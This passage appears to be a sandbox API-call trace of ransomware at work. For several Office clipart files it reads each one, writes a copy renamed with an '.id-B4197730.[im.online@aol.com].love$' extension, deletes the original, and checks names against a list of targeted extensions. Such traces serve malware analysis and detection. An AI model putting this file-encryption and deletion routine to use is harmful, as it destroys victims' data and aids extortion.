lpString2=".love$") returned 1 [0252.314] lstrlenW (lpString="FD02068_.WMF") returned 12 [0252.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0252.315] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2488) returned 1 [0252.315] CloseHandle (hObject=0x528) returned 1 [0252.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 0x220 [0252.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0252.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0252.316] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0252.317] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0252.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0252.318] GetLastError () returned 0x0 [0252.318] ReadFile (in: hFile=0x528, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x9b8, lpOverlapped=0x0) returned 1 [0252.349] WriteFile (in: hFile=0x550, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x9c0, lpOverlapped=0x0) returned 1 [0252.351] ReadFile (in: hFile=0x528, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0252.351] WriteFile (in: hFile=0x550, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0252.351] SetEndOfFile (hFile=0x550) returned 1 [0252.351] CloseHandle (hObject=0x550) returned 1 [0252.352] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0252.352] SetEndOfFile (hFile=0x528) returned 1 [0252.447] CloseHandle (hObject=0x528) returned 1 [0252.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0252.448] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 1 [0252.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0252.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0252.450] lstrlenW (lpString=".doc") returned 4 [0252.450] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.450] lstrlenW (lpString=".docx") returned 5 [0252.450] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.450] lstrlenW (lpString=".pdf") returned 4 [0252.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.450] lstrlenW (lpString=".xls") returned 4 [0252.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.450] lstrlenW (lpString=".xlsx") returned 5 [0252.450] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.450] lstrlenW (lpString=".ppt") returned 4 [0252.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0252.450] lstrlenW (lpString=".zip") returned 4 [0252.450] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.450] lstrlenW (lpString=".rar") returned 4 [0252.450] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.450] lstrlenW (lpString=".bz2") returned 4 [0252.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.450] lstrlenW (lpString=".7z") returned 3 [0252.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0252.450] lstrlenW (lpString=".dbf") returned 4 [0252.450] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0252.451] lstrlenW (lpString=".1cd") returned 4 [0252.451] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0252.451] lstrlenW (lpString=".jpg") returned 4 [0252.451] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0252.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0252.451] lstrlenW (lpString=".doc") returned 4 [0252.451] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.451] lstrlenW (lpString=".docx") returned 5 [0252.451] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.451] lstrlenW (lpString=".pdf") returned 4 [0252.451] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.451] lstrlenW (lpString=".xls") returned 4 [0252.451] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.451] lstrlenW (lpString=".xlsx") returned 5 [0252.451] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.451] lstrlenW (lpString=".ppt") returned 4 [0252.451] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0252.451] lstrlenW (lpString=".zip") returned 4 [0252.451] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.451] lstrlenW (lpString=".rar") returned 4 [0252.451] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.451] lstrlenW (lpString=".bz2") returned 4 [0252.451] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.452] lstrlenW (lpString=".7z") returned 3 [0252.452] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0252.452] lstrlenW (lpString=".dbf") returned 4 [0252.452] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0252.452] lstrlenW (lpString=".1cd") returned 4 [0252.452] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0252.452] lstrlenW (lpString=".jpg") returned 4 [0252.452] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.452] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0252.452] lstrlenW (lpString="FD02071_.WMF") returned 12 [0252.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0252.453] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2188) returned 1 [0252.453] CloseHandle (hObject=0x528) returned 1 [0252.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 0x220 [0252.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0252.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0252.454] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0252.454] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0252.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0252.456] GetLastError () returned 0x0 [0252.456] ReadFile (in: hFile=0x528, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x88c, lpOverlapped=0x0) returned 1 [0252.822] WriteFile (in: hFile=0x550, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x890, lpOverlapped=0x0) returned 1 [0252.823] ReadFile (in: hFile=0x528, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0252.823] WriteFile (in: hFile=0x550, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0252.823] SetEndOfFile (hFile=0x550) returned 1 [0252.823] CloseHandle (hObject=0x550) returned 1 [0252.824] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0252.824] SetEndOfFile (hFile=0x528) returned 1 [0252.827] CloseHandle (hObject=0x528) returned 1 [0252.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0252.828] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 1 [0252.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0252.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0252.829] lstrlenW (lpString=".doc") returned 4 [0252.829] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.829] lstrlenW (lpString=".docx") returned 5 [0252.829] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.829] lstrlenW (lpString=".pdf") returned 4 [0252.829] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.829] lstrlenW (lpString=".xls") returned 4 [0252.829] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.829] lstrlenW (lpString=".xlsx") returned 5 [0252.829] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.829] lstrlenW (lpString=".ppt") returned 4 [0252.829] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0252.830] lstrlenW (lpString=".zip") returned 4 [0252.830] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.830] lstrlenW (lpString=".rar") returned 4 [0252.830] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.830] lstrlenW (lpString=".bz2") returned 4 [0252.830] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.830] lstrlenW (lpString=".7z") returned 3 [0252.830] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0252.830] lstrlenW (lpString=".dbf") returned 4 [0252.830] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0252.830] lstrlenW (lpString=".1cd") returned 4 [0252.830] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0252.830] lstrlenW (lpString=".jpg") returned 4 [0252.830] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0252.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0252.830] lstrlenW (lpString=".doc") returned 4 [0252.830] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.830] lstrlenW (lpString=".docx") returned 5 [0252.830] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.830] lstrlenW (lpString=".pdf") returned 4 [0252.830] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.830] lstrlenW (lpString=".xls") returned 4 [0252.830] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.831] lstrlenW (lpString=".xlsx") returned 5 [0252.831] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.831] lstrlenW (lpString=".ppt") returned 4 [0252.831] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0252.831] lstrlenW (lpString=".zip") returned 4 [0252.831] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.831] lstrlenW (lpString=".rar") returned 4 [0252.831] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.831] lstrlenW (lpString=".bz2") returned 4 [0252.831] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.831] lstrlenW (lpString=".7z") returned 3 [0252.831] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0252.831] lstrlenW (lpString=".dbf") returned 4 [0252.831] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0252.831] lstrlenW (lpString=".1cd") returned 4 [0252.831] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0252.831] lstrlenW (lpString=".jpg") returned 4 [0252.831] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.831] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0252.832] lstrlenW (lpString="FD02158_.WMF") returned 12 [0252.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0252.833] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=1648) returned 1 [0252.833] CloseHandle (hObject=0x528) returned 1 [0252.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 0x220 [0252.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0252.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0252.834] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0252.834] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0252.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0252.835] GetLastError () returned 0x0 [0252.835] ReadFile (in: hFile=0x528, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x670, lpOverlapped=0x0) returned 1 [0252.857] WriteFile (in: hFile=0x550, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x680, lpOverlapped=0x0) returned 1 [0252.858] ReadFile (in: hFile=0x528, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0252.858] WriteFile (in: hFile=0x550, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0252.858] SetEndOfFile (hFile=0x550) returned 1 [0252.858] CloseHandle (hObject=0x550) returned 1 [0252.858] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0252.858] SetEndOfFile (hFile=0x528) returned 1 [0252.861] CloseHandle (hObject=0x528) returned 1 [0252.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0253.209] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 1 [0254.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0254.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0254.546] lstrlenW (lpString=".doc") returned 4 [0254.546] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.546] lstrlenW (lpString=".docx") returned 5 [0254.546] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0254.546] lstrlenW (lpString=".pdf") returned 4 [0254.546] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.546] lstrlenW (lpString=".xls") returned 4 [0254.546] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.546] lstrlenW (lpString=".xlsx") returned 5 [0254.546] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0254.546] lstrlenW (lpString=".ppt") returned 4 [0254.546] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0254.546] lstrlenW (lpString=".zip") returned 4 [0254.546] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.546] lstrlenW (lpString=".rar") returned 4 [0254.546] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.546] lstrlenW (lpString=".bz2") returned 4 [0254.546] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.546] lstrlenW (lpString=".7z") returned 3 [0254.546] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0254.546] lstrlenW (lpString=".dbf") returned 4 [0254.546] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0254.547] lstrlenW (lpString=".1cd") returned 4 [0254.547] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0254.547] lstrlenW (lpString=".jpg") returned 4 [0254.547] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0254.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0254.547] lstrlenW (lpString=".doc") returned 4 [0254.547] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.547] lstrlenW (lpString=".docx") returned 5 [0254.547] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0254.547] lstrlenW (lpString=".pdf") returned 4 [0254.547] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.547] lstrlenW (lpString=".xls") returned 4 [0254.547] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.547] lstrlenW (lpString=".xlsx") returned 5 [0254.547] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0254.547] lstrlenW (lpString=".ppt") returned 4 [0254.547] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0254.547] lstrlenW (lpString=".zip") returned 4 [0254.547] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.547] lstrlenW (lpString=".rar") returned 4 [0254.547] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.547] lstrlenW (lpString=".bz2") returned 4 [0254.547] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.547] lstrlenW (lpString=".7z") returned 3 [0254.547] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0254.547] lstrlenW (lpString=".dbf") returned 4 [0254.547] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0254.547] lstrlenW (lpString=".1cd") returned 4 [0254.548] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0254.548] lstrlenW (lpString=".jpg") returned 4 [0254.548] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.548] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0254.548] lstrlenW (lpString="HH00084_.WMF") returned 12 [0254.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0254.786] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2472) returned 1 [0254.786] CloseHandle (hObject=0x450) returned 1 [0254.787] 